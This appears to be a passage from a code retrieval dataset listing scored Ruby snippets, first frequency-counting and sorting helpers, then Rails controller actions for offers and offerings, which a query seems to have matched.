result = []\n a.each do |num|\n count[num] += 1\n end\n\n count.each_with_index do |freq, num|\n puts \"num: #{num}, freq: #{freq}\"\n freq.times do\n result << num\n end\n end\n result\nend", "title": "" }, { "docid": "6cae2018883007d18f844d999798c58d", "score": "0.56224", "text": "def frequency_distribution\n @frequency_distribution ||= @results.group_by(&:value).inject({}) do |frequencies, (value, results)|\n frequencies[value] = results.size\n frequencies\n end\n end", "title": "" }, { "docid": "ca9914088637ccf2ca773411f049c6a3", "score": "0.5618968", "text": "def sort2(array, max_value)\n count = Hash.new(0)\n result = []\n array.each{ |el| count[el] += 1}\n count.each do |el, ct|\n ct.times{ result << el }\n end\n result\nend", "title": "" }, { "docid": "591822b5b461dc123a3e0e34e11e66d6", "score": "0.55997676", "text": "def e5115_sublinear_sort(values)\n size = values.length\n aux = Array.new(size, 0)\n total_lsd_passes = 2\n current_lsd_pass = total_lsd_passes - 1\n while current_lsd_pass >= 0\n count = Array.new(@alphabet_size+1, 0)\n bit_shift = @letter_bits * (total_lsd_passes - current_lsd_pass - 1)\n i = 0\n while i < size\n # Obtains the key of the 8-bit number after shifting 'bit_shift' bits\n idx = ((values[i] >> bit_shift) & @letter_and) + 1\n count[idx]+=1\n i+=1\n end\n\n # Set key occurrence-based indexing, for ordering on next loop\n r = 0\n while r < @alphabet_size\n count[r+1] += count[r]\n r+=1\n end\n\n i = 0\n # Order numbers based on the occurrence count of their key\n while i < size\n # Obtains the key of the 8-bit number after shifting 'bit_shift' bits\n idx = (values[i] >> bit_shift) & @letter_and\n aux[count[idx]] = values[i]\n count[idx]+=1\n\n i+= 1\n end\n\n # Copy back values\n i = 0\n while i < size\n values[i] = aux[i]\n i+= 1\n end\n\n current_lsd_pass-=1\n end\n\n # Insertion sort will be extremely fast because the numbers are partially ordered\n # insertion_sort values\n\n values\n end", "title": "" }, { "docid": "ed091b9e60c473d03bd0361bab951386", "score": "0.5593226", "text": "def frequency(frequencies)\n choices = frequencies.reduce([]) do |acc, elem|\n freq, val = elem\n acc + ([val] * freq)\n end\n one_of(*choices)\n end", "title": "" }, { "docid": "6d892be77cb2161f97a0ea88f142c510", "score": "0.5592754", "text": "def sort_by_decreasing_frequency(img)\n hist = img.color_histogram\n # sort by decreasing frequency\n sorted = hist.keys.sort_by {|p| -hist[p]}\n new_img = Magick::Image.new(hist.size, 1)\n new_img.store_pixels(0, 0, hist.size, 1, sorted)\n end", "title": "" }, { "docid": "de369a481240e4444317569b0d97c14d", "score": "0.5591937", "text": "def multiply_all_pairs(arr1, arr2)\n new_arr = []\n arr1.each do |num1|\n arr2.each do |num2|\n new_arr << num1 * num2\n end\n end\n new_arr.sort\nend", "title": "" }, { "docid": "f1bb5a3747b71d5542d429537344310f", "score": "0.5589004", "text": "def multiply_all_pairs(arr1 , arr2)\n result_arr = []\n arr1.each do |n|\n arr2.each do |x|\n result_arr << x * n\n end\n end\n result_arr.sort\nend", "title": "" }, { "docid": "b5e264fe846ab94d4cb17acb53d96c15", "score": "0.55696446", "text": "def popularity_list\n\t\t@pop_list = {}\n\t\t@list.each do |x|\n\t\t\t@pop_list[x[1].to_i] = 0\n\t \tend\n\t \t@list.each do |x|\n\t \t\t@pop_list[x[1].to_i] += x[2].to_i\n\t \tend\n\t \t@pop_list.sort_by {|k,v| v}.reverse\n\n\tend", "title": "" }, { "docid": "3793bf673814b9251a9f21314fe6a464", "score": "0.5562438", "text": "def comparer(hash)\n most_freq = []\n hash.each { |key,value| most_freq << key if value == hash.values.max }\n most_freq\nend", "title": "" }, { "docid": "4561af3a0e14d76d55193ad88e3774f7", "score": "0.5559401", "text": "def freqQuery(queries)\n h = {}\n freqs = {}\n ans = []\n counter = 0\n queries.each do |q|\n v = q[1]\n case q[0]\n when 1 # add\n if h[v]\n freqs[h[v]].delete(v)\n h[v] += 1\n else\n h[v] = 1\n end\n freqs[h[v]] ||= Set.new\n freqs[h[v]] << v\n when 2 # delete\n if h[v] && h[v] > 0\n pp \"WRONG\" if !freqs[h[v]].include?(v)\n freqs[h[v]].delete(v)\n h[v] -= 1\n # pp h, v, freqs\n freqs[h[v]] ||= Set.new\n freqs[h[v]] << v\n end\n else\n if freqs[v] && !freqs[v].empty?\n ans << 1\n else\n ans << 0\n end\n end\n end\n pp h\n pp freqs\n ans\nend", "title": "" }, { "docid": "d10001ff8505c94b334688f2b859da47", "score": "0.5558465", "text": "def freqQuery(queries)\n\n a = Hash.new(0)\n h = Hash.new(0)\n o = []\n\n queries.each do |cmd, p|\n if cmd == 1\n h[a[p]] -= 1 if h[a[p]] > 0\n a[p] += 1 \n h[a[p]] += 1\n elsif cmd == 3\n h[p] > 0 ? o << 1 : o << 0\n elsif a[p] > 0\n h[a[p]] -= 1\n a[p] -= 1 \n h[a[p]] += 1\n end\n end\n puts a.to_s\n puts h.to_s\n puts o\n o\nend", "title": "" }, { "docid": "c1c4af84e6b2cbd10600d02a746d6270", "score": "0.5556035", "text": "def double(arr)\n frequency = Hash.new(0)\n arr.flatten.each { |x| frequency[x] += 1 }\n frequency.max_by { |x, y| y }[0]\n end", "title": "" }, { "docid": "421917f8ec17b6b2ad6e1f1c2e236c49", "score": "0.5553301", "text": "def scores_of_ranks_with_freq(freq)\n indexes = ranks_with_freq(freq).map { |r| Decker::RANKS.keys.index(r) }\n indexes.sort.reverse\n end", "title": "" }, { "docid": "e0a675ab4fe9b17e79b755ed833313fc", "score": "0.5553065", "text": "def top_k_frequent_elements(list, k)\n result = []\n return result if list.empty? || k > list.length \n hash = {}\n list.each do |value|\n if hash[value]\n hash[value] += 1\n else\n hash[value] = 1\n end\n end\n\n sorted_frequncies = hash.sort_by {|k, v| -v}\n k.times do |i|\n result << sorted_frequncies[i][0]\n end\n return result \nend", "title": "" }, { "docid": "1de9e68da2806a5b4f5d706bfb1e64a0", "score": "0.5544074", "text": "def normalize!\n \t sum = @weighted_hash.inject(0) do |sum, item|\n \t sum += item[1]\n \t end\n \t sum = sum.to_f\n \t @weighted_hash.each { |item, frequency| @weighted_hash[item] = frequency / sum }\n \tend", "title": "" }, { "docid": "f93d2e43fbbada5944a0ac64249f1228", "score": "0.55396724", "text": "def top_k_frequent_elements(list, k)\n element_counts = {}\n count = 0\n\n return list if list.empty?\n\n list.each do |num|\n if element_counts[num]\n element_counts[num] += 1\n else\n element_counts[num] = 1\n end\n\n end\n\n sorted_hash_array = element_counts.sort_by{ |key, val| -val}\n\n puts sorted_hash_array.to_s\n return_array = []\n k.times do |i|\n return_array.push(sorted_hash_array[i][0])\n i += 1\n end\n\n return return_array\n\nend", "title": "" }, { "docid": "36cc1a2b3979955392d4cacdb0b7508e", "score": "0.5538199", "text": "def freq\n return self.ratio() * BASE_FREQ\n end", "title": "" }, { "docid": "fae507fd589c9edeecb7463634ca569d", "score": "0.5536028", "text": "def split(freq, a, b)\n\t\tab = []\n\t\t(freq+2).times do |f|\n\t\t\tx = 1.0*f / (freq+1)\n\t\t\tab.push b*x + a*(1.0-x)\n\t\tend\n\t\tab\n\tend", "title": "" }, { "docid": "8c9b381b303d5ea5868a4e89e37ccb8f", "score": "0.5519289", "text": "def migratoryBirds(n, ar)\n # Complete this function\n hash = Hash.new(0)\n\n ar.each { |el| hash[el] += 1 }\n\n\n common = 0\n most_freq = hash[ar[0]]\n\n (1...n).each do |i|\n if hash[ar[i]] > most_freq\n most_freq = hash[ar[i]]\n common = i\n end\n end\n\n ar[common]\nend", "title": "" }, { "docid": "440e742d2867e1213f4ce0060984e2c3", "score": "0.55174357", "text": "def multiply_all_pairs(arr_1, arr_2)\n new_array = []\n arr_1.each do |num_1| \n arr_2.each do |num_2|\n new_array << num_1 * num_2\n end \n end \n new_array.sort\nend", "title": "" }, { "docid": "7aba046c92a39d32e70d07a6950ecaea", "score": "0.5514964", "text": "def calculate_per_lambda(mode_precision = 0)\n hash = Hash.new\n\n # TODO come up with way to not recompute unless contents have changed -- https://github.com/chorankates/bnchmrkr/issues/3\n\n @results.each_pair do |name, measures|\n hash[name] = Hash.new\n frequency_hash = Hash.new(0)\n mode_candidate = { :frequency => 1, :operand => nil }\n total = 0\n\n sorted = measures.sort { |a,b| a.real <=> b.real }\n measures.each do |measure|\n operand = mode_precision.equal?(0) ? measure.real : measure.real.round(mode_precision)\n frequency_hash[operand] += 1\n\n # i hate maths\n if frequency_hash[operand] > mode_candidate[:frequency] and frequency_hash[operand] > 1\n mode_candidate[:frequency] = frequency_hash[operand]\n mode_candidate[:operand] = operand\n end\n end\n\n measures.collect {|m| total += m.real }\n hash[name][:fastest] = sorted.first.real\n hash[name][:slowest] = sorted.last.real\n hash[name][:mean] = sprintf('%5f', total / sorted.size).to_f\n hash[name][:median] = sorted[(sorted.size / 2)].real\n # TODO need to handle the rare case that we have multiple modes -- https://github.com/chorankates/bnchmrkr/issues/4\n hash[name][:mode] = mode_candidate[:operand] # collect key name with highest value\n hash[name][:total] = sprintf('%5f', total).to_f\n end\n\n hash\n end", "title": "" }, { "docid": "0179cf754ef9deb658629510dc4165bc", "score": "0.55133194", "text": "def mode(array)\r\n frequency = Hash.new(0)\r\n new_array = []\r\n \r\n array.each { |int| frequency[int] += 1 }\r\n \r\n frequency = frequency.sort_by{|x, y| y}\r\n \r\n frequency.each do |x, y|\r\n if x.is_a? Numeric\r\n if y == frequency.last.last\r\n new_array << x\r\n end\r\n else \r\n if y == frequency.last.last\r\n new_array << x.to_s\r\n end\r\n end\r\n end\r\n \r\n return new_array.sort\r\n\r\nend", "title": "" }, { "docid": "28c0bd9b53206cd7e777b996dadc49af", "score": "0.55081975", "text": "def top_k_frequent(nums, k)\n \n frequency_count = Hash.new(0)\n nums.each do |num|\n frequency_count[num] += 1\n end\n \n top_k = frequency_count.to_a.sort_by {|e| e[1]}\n top_k.last(k).map{|e| e[0]}\n \nend", "title": "" }, { "docid": "0068d32e8489249e077f72f266ffd508", "score": "0.55080307", "text": "def calculate_and_sort_ratio\n @joblist.each_with_index do |job, index|\n @ratio[index] = job[0] / job[1]\n end\n # sort jobs by ratio in decreasing order\n @ratio = @ratio.sort_by {|k,v| v}.reverse.to_h\n end", "title": "" }, { "docid": "ece50da8d9a7c788027f584609465dfe", "score": "0.5507828", "text": "def frequency_analysis(text)\r\n frequency_table = {}\r\n for key in 'a'..'z' do \r\n frequency_table[key] = 0\r\n end\r\n text = clean_text(text, LETTERS)\r\n text.each_char do |character|\r\n frequency_table[character] += 1\r\n end\r\n relative_frequency = {}\r\n frequency_table.each { |key, value| \r\n relative_frequency[key] = (value * 100.0) / text.length\r\n }\r\n result = relative_frequency.sort_by { |_key, value| value }\r\n result.reverse!\r\n return result\r\nend", "title": "" }, { "docid": "76a2cb1f2a069cac15c653ef0c2bc34a", "score": "0.55051166", "text": "def multiply_all_pairs(arr1, arr2)\n all_pairs = arr1.each_with_object([]) do |elem, new_arr|\n arr2.size.times do |i|\n new_arr << elem * arr2[i]\n end\n end\n all_pairs.sort\nend", "title": "" }, { "docid": "c35ba5ddd14aa7945685f5a0c9612e15", "score": "0.54991925", "text": "def top_k_frequent_elements(list, k)\n if list.length == 0\n return []\n end\n hash = Hash.new(0)\n list.each do |num|\n hash[num] += 1\n end\n result = hash.sort_by{|num, frequency| -frequency} # descending order\n final_result = []\n k.times do |i|\n final_result << result[i][0]\n end\n return final_result\nend", "title": "" }, { "docid": "811ea80b28122c502f37ed0f82a6058d", "score": "0.54954135", "text": "def mode(array)\n sort_hash = Hash.new(0)\n\n array.each do |element|\n sort_hash[element] += 1\n end\n\n highest_freq = sort_hash.values.max\n result = sort_hash.select { |k, v| v == highest_freq}.keys\n\nend", "title": "" }, { "docid": "597c996c73ade6a9ea130878596e2d56", "score": "0.5488379", "text": "def top_k_frequent_elements(list, k)\n result = []\n return result if list.empty?\n \n freq_tracker = {}\n\n list.each do |num|\n if !freq_tracker.key?(num)\n freq_tracker[num] = 1\n else\n freq_tracker[num] += 1\n end\n end\n\n sorted_tracker = freq_tracker.sort_by {|num, freq| -freq}\n\n i = 0\n k.times do\n result << sorted_tracker[i][0]\n i += 1\n end\n\n return result\nend", "title": "" }, { "docid": "d5f3d7399626d1b9fa158c549d8861e7", "score": "0.5487788", "text": "def multiply_all_pairs(arr1, arr2)\n result_arr = []\n arr1.each do |num|\n arr2.each do |int|\n result_arr << int * num\n end\n end\n result_arr.sort\nend", "title": "" }, { "docid": "dd3374463db02e835b68e955444e2f6c", "score": "0.54744107", "text": "def get_sequence(values,weights)\n sequence = []\n values.each_with_index do |value, index|\n sequence.push([value.to_f,weights[index]])\n end\n sequence = sequence.sort { |a,b| a[0]/a[1] <=> b[0]/b[1]}.reverse\nend", "title": "" }, { "docid": "532aed095c8a7c740430216970d19c33", "score": "0.5472789", "text": "def multiply_all_pairs(arr1, arr2)\n all_pairs_array = []\n arr1.each do |arr1_num|\n arr2.each do |arr2_num|\n all_pairs_array << arr1_num * arr2_num\n end\n end\n all_pairs_array.sort\nend", "title": "" }, { "docid": "fe37755cd6626d6a9ade835914129730", "score": "0.5472437", "text": "def raw_isotope_distribution(isotope_table=Mspire::Isotope::BY_ELEMENT)\n low_nominal = 0\n high_nominal = 0\n self.each do |el,cnt|\n isotopes = isotope_table[el]\n low_nominal += (isotopes.first.mass_number * cnt)\n high_nominal += (isotopes.last.mass_number * cnt)\n end\n\n ffts = self.map do |el, cnt|\n isotope_el_ar = NArray.float(high_nominal+1)\n isotope_table[el].each do |isotope|\n isotope_el_ar[isotope.mass_number] = isotope.relative_abundance\n end\n FFTW3.fft(isotope_el_ar)**cnt\n end\n FFTW3.ifft(ffts.reduce(:*)).real.to_a[low_nominal..high_nominal]\n end", "title": "" } ]
2a3c1aa7cb29f37d0d04ed8aa8d18a34
GET /part2_offerings GET /part2_offerings.json
[ { "docid": "28b874039adc6157b2c7889a69dff3b5", "score": "0.73777044", "text": "def index\n @part2_offerings = Part2Offering.all\n end", "title": "" } ]
[ { "docid": "1e00651d75d6a36f2472a879b9ed0175", "score": "0.69231707", "text": "def index\n @offerings = Offering.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n end\n end", "title": "" }, { "docid": "d9963c0c2ed0de7fe7c063ab8d5ad57c", "score": "0.68405193", "text": "def details(offering_id)\n API::request(:get, \"offerings/#{offering_id}\")\n end", "title": "" }, { "docid": "34f836afe96296b2bdf2a1ed2266383e", "score": "0.6744204", "text": "def index\n @offerings = Offering.all\n end", "title": "" }, { "docid": "7f47a1014a99be7230782ce9a237237b", "score": "0.67186487", "text": "def get(params = {})\n client.get(\"/v2/shopping/hotel-offers/#{@offer_id}\", params)\n end", "title": "" }, { "docid": "a73b02a25e474334a8423dc2d174f5ea", "score": "0.67014414", "text": "def show\n @offering = Offering.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offering }\n end\n end", "title": "" }, { "docid": "f2eb41f34d532623753b377dfcdcdd61", "score": "0.6687509", "text": "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "ca6d92babbcc6a807babbf12fac399d0", "score": "0.6536894", "text": "def list_service_offerings\n params = {\n 'command' => 'listServiceOfferings'\n }\n json = send_request(params)\n json['serviceoffering'] || []\n end", "title": "" }, { "docid": "caabaa02632f9b04975555932f3c5fdd", "score": "0.65222925", "text": "def index\n @offers = @request.offers\n\n end", "title": "" }, { "docid": "718d5c33963e8357816ce62d5fb3ed70", "score": "0.64782023", "text": "def offers_url\n offers_url_part = \"/feed/v1/offers.json\"\n \"#{@@base_url}#{offers_url_part}?#{req_attributes}\"\n end", "title": "" }, { "docid": "8bc5fbd8cb637fa2c0d964c3d39956ec", "score": "0.64723897", "text": "def set_part2_offering\n @part2_offering = Part2Offering.find(params[:id])\n end", "title": "" }, { "docid": "9d61a43a1561e69a82b9ea492cf2b9d6", "score": "0.6467166", "text": "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "9d61a43a1561e69a82b9ea492cf2b9d6", "score": "0.6467166", "text": "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "9d61a43a1561e69a82b9ea492cf2b9d6", "score": "0.6467166", "text": "def show\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "b8e3218fcda0d12bc5034de676cc0ad0", "score": "0.6453141", "text": "def get(params = {})\n client.get(\n \"/v1/shopping/hotels/#{@hotel_id}/offers/#{@offer_id}\", params\n )\n end", "title": "" }, { "docid": "27f7590ae3050da419e4d5c27be268bd", "score": "0.6437745", "text": "def offerings\n []\n end", "title": "" }, { "docid": "27f7590ae3050da419e4d5c27be268bd", "score": "0.6437745", "text": "def offerings\n []\n end", "title": "" }, { "docid": "89d39a0763bba93a92f1c8b45ed752c4", "score": "0.6426645", "text": "def load_offers\n request = OffersRequest.new(params, api_key)\n response = Net::HTTP.get_response(URI(request.url))\n body = read_response(response)\n body\n end", "title": "" }, { "docid": "979449d13f28edb94319ac7e03aa2c92", "score": "0.638829", "text": "def show\n render status: 200, json: @dining_offer\n end", "title": "" }, { "docid": "e3e94cde6f497ba8234ab48802ecee47", "score": "0.6372119", "text": "def show\n @offer = @request.offers.find(params[:id])\n end", "title": "" }, { "docid": "04cdbe4953dd3b52cd3cb04c5139f43d", "score": "0.63642466", "text": "def create\n @part2_offering = Part2Offering.new(part2_offering_params)\n\n respond_to do |format|\n if @part2_offering.save\n format.html { redirect_to @part2_offering, notice: 'Part2 offering was successfully created.' }\n format.json { render :show, status: :created, location: @part2_offering }\n else\n format.html { render :new }\n format.json { render json: @part2_offering.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bbc643baecad50dafb4eb0e5b996f303", "score": "0.6336522", "text": "def fetch_offers\n pub0 = params[:pub0]\n uid = params[:uid]\n page = params[:page]\n http_response = Offer.fetch_offers(page,pub0,uid)\n @json_response = Offer.parse_to_json(http_response)\n verify_response(http_response.code,@json_response['code'])\n end", "title": "" }, { "docid": "d019bd1853a72c3c85667866bcbaf988", "score": "0.63186526", "text": "def index\n @offers = Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end", "title": "" }, { "docid": "daba5e6754970e47fa1fa21d8d10277e", "score": "0.631368", "text": "def offers( offset = 0, limit = 50)\n response = HTTParty.get(JobBox.base_uri+\"/offers.json?offset=#{offset}&limit=#{limit}\", :headers => self.headers)\n if response.success?\n response\n else\n raise response.response\n end\n end", "title": "" }, { "docid": "62381998eaddcf4c0366aff3f8e7f057", "score": "0.6303473", "text": "def show\n @admin_offer = Admin::Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_offer }\n end\n end", "title": "" }, { "docid": "bc53898e169e5f1d2b8460a2f2813d6e", "score": "0.62920463", "text": "def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offerings }\n format.js {}\n end\n end", "title": "" }, { "docid": "616820d9ceee544200c2ae8ee4ed93d3", "score": "0.6278465", "text": "def show\n @resource = Resource.find(params[:resource_id])\n @offer = Offer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "8ac2203040b49c0dcdb3a2fab8a2953e", "score": "0.6266912", "text": "def index\n @offerings = Offering.search(params)\n respond_to do |format|\n format.html\n format.json {render :json => @offerings.to_json}\n format.xml {render :xml => @offerings.to_xml}\n end\n end", "title": "" }, { "docid": "a1775630eca3ba34740c20e3fa4bdf0b", "score": "0.62470555", "text": "def offer\n current_organization.offers.find_by_id(offer_id)\n end", "title": "" }, { "docid": "62ccfc3f0abde22759b78c1f6b8b09ff", "score": "0.62402236", "text": "def index\n @offerings = Offering.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @offerings }\n end\n end", "title": "" }, { "docid": "480ebc89a9de0420c1de3364f3a2eec0", "score": "0.61660296", "text": "def index\n @admin_offers = Admin::Offer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_offers }\n end\n end", "title": "" }, { "docid": "b06629756eff5a86ec04285f41915e02", "score": "0.6160854", "text": "def show\n ## Creating the offering object\n @offering = Offering.find(params[:id])\n\n respond_to do |format|\n format.html { get_collections and render :index }\n format.json { render json: @offering }\n format.js {}\n end\n end", "title": "" }, { "docid": "dab09f0ff1d8116ce4be3518c3ff0049", "score": "0.61068344", "text": "def show\n @resource_offer = ResourceOffer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource_offer }\n end\n end", "title": "" }, { "docid": "ff08e47579369d81376bf997525f978d", "score": "0.6105193", "text": "def part2_offering_params\n params.require(:part2_offering).permit(:title, :description, :link)\n end", "title": "" }, { "docid": "f5f8e44b8dea468a9bcc17fa6771bd91", "score": "0.60771775", "text": "def show\n @offer_chain = OfferChain.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer_chain }\n end\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "d113a8a3dc3833d8f0d1768674c397b2", "score": "0.60118246", "text": "def index\n @offers = Offer.all\n end", "title": "" }, { "docid": "a473ebd57a9b0d602c3857215e5c1606", "score": "0.6002956", "text": "def offers( offset = 0, limit = 50)\n response = self.class.get(self.base_uri+\"/offers.json?offset=#{offset}&limit=#{limit}\", :headers => self.headers)\n if response.success?\n response\n else\n raise response.response\n end\n end", "title": "" }, { "docid": "dc43bec41ebe3662ed456ea22137a2c6", "score": "0.59874904", "text": "def show\n @offer = JobOffer.find(params[:id])\n @company = @offer.company\n @candidates = @offer.candidates\n end", "title": "" }, { "docid": "d62a9f6f7489e78c700161ae57010147", "score": "0.59823346", "text": "def show\n @offer = Offer.find(params[:id])\n end", "title": "" }, { "docid": "dfdd766c35bb552e7b158837ddfdecfc", "score": "0.5974085", "text": "def show\n respond_to do |format|\n format.html\n format.json {render :json => @offering.to_json}\n format.xml {render :xml => @offering.to_xml}\n end\n end", "title": "" }, { "docid": "1806a3aeab2139d98cffa44e16069c97", "score": "0.59669536", "text": "def offer\n @company = Company.find(params[:id])\n @offers = @company.offers.all\n end", "title": "" }, { "docid": "ed2914fe4137ea5d23c9748b241fb1f9", "score": "0.59626645", "text": "def show\n @breadcrumb = 'read'\n @offer_request = OfferRequest.find(params[:id])\n @items = @offer_request.offer_request_items.paginate(:page => params[:page], :per_page => per_page).order('id')\n @suppliers = @offer_request.offer_request_suppliers.paginate(:page => params[:page], :per_page => per_page).order('id')\n @offers = sort_offers_by_total(@offer_request).paginate(:page => params[:page], :per_page => per_page)\n #@offers = @offer_request.offers.paginate(:page => params[:page], :per_page => per_page).order('id')\n # Offer Approvers\n @is_approver = false\n if @offers.count > 0\n offer = @offers.first\n @is_approver = company_approver(offer, offer.project.company, current_user.id) ||\n office_approver(offer, offer.project.office, current_user.id) ||\n (current_user.has_role? :Approver)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer_request }\n end\n end", "title": "" }, { "docid": "623eacccdc010f5e7c7312f7ee59ba8f", "score": "0.59521496", "text": "def index\n respond_to do |format|\n format.html\n format.js\n format.json { render json: @assignment_offerings }\n end\n end", "title": "" }, { "docid": "a0f97f67ad0e60f7fc6c488e7ab89a10", "score": "0.5949882", "text": "def offerings(appt)\n offerings = \"\"\n if appt.offerings == []\n offerings = \"No Services Selected\"\n else\n appt.offerings.each do |off|\n offerings += off.name + \" \"\n end\n end\n return offerings\n end", "title": "" }, { "docid": "f34e5ccb8555d5bb5bd4f41b159f86ff", "score": "0.5945626", "text": "def new\n @offer = Offer.new\n\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "6f4904844551dcdd7304ae8d2a20b732", "score": "0.5945272", "text": "def update\n respond_to do |format|\n if @part2_offering.update(part2_offering_params)\n format.html { redirect_to @part2_offering, notice: 'Part2 offering was successfully updated.' }\n format.json { render :show, status: :ok, location: @part2_offering }\n else\n format.html { render :edit }\n format.json { render json: @part2_offering.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4da39e6175713b6dec71576e9f033a3", "score": "0.5945223", "text": "def list_service_offerings_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_service_offerings ...'\n end\n # resource path\n local_var_path = '/service_offerings'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<ServiceOffering>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_service_offerings\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "f1ca898179e7f702878e270e5b09ab00", "score": "0.59442216", "text": "def show\n @offering = Offering.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @offering }\n end\n end", "title": "" }, { "docid": "f0c29e71c31905155636b619dcb1ee64", "score": "0.5939501", "text": "def show\n\t\t@offers = @offer\n\t\t@json = @offers.to_gmaps4rails\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @json }\n\t\tend\n\tend", "title": "" }, { "docid": "4aa264ddd78cc1eb27f4dc2c8f9fdc0c", "score": "0.5936713", "text": "def new\n @offer = Offer.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "119bf335b9c2e639e9a72ecb0fd5f6eb", "score": "0.59354776", "text": "def offers body\n post(\"/offers\", body: body.to_json)\n end", "title": "" }, { "docid": "ef2dfa393e42b0cdce806450b9789ee6", "score": "0.59272116", "text": "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "ef2dfa393e42b0cdce806450b9789ee6", "score": "0.59272116", "text": "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "ef2dfa393e42b0cdce806450b9789ee6", "score": "0.59272116", "text": "def new\n @offer = Offer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "91cb852513c6bf9173ba8eea247be2ce", "score": "0.59216076", "text": "def new\n @resource = Resource.find(params[:resource_id])\n @offer = @resource.offers.new(params[:offer])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @offer }\n end\n end", "title": "" }, { "docid": "04b4ab235feb47572bb33dcbc8286c3a", "score": "0.59158385", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_customer_offer }\n end\n end", "title": "" }, { "docid": "b11b9a4210fbdc148bf6b57b41add334", "score": "0.5905278", "text": "def find_listing_id\n listings = Listing.where(\"id = ?\",params[:listing_id]).to_a\n if !listings.empty?\n listing_ids = []\n listings.each do |listing|\n listing_ids << listing.id\n end\n @offers = Offer.includes(:listing => :book).where(\"listing_id IN (?)\", listing_ids).all\n if !@offers.empty?\n ret = []\n @offers.each do |offer|\n ret << offer.as_json(:include => {:listing => {:include => {:book => {:only => :title}}}, :user => {:only => :username}})\n end\n render :json => ret\n else\n render :json => \"user has no offers\".to_json\n end\n else\n render :json => \"user has no offers\".to_json\n end\n end", "title": "" }, { "docid": "2ab39592826c119d36a2975aeb7014d8", "score": "0.5899405", "text": "def detail(offer_id)\n fetch_json(\"detail/#{offer_id}\")\n end", "title": "" }, { "docid": "60d85f8d2e83d6f7e5f7a898df2d3e79", "score": "0.58948845", "text": "def show\n @offers 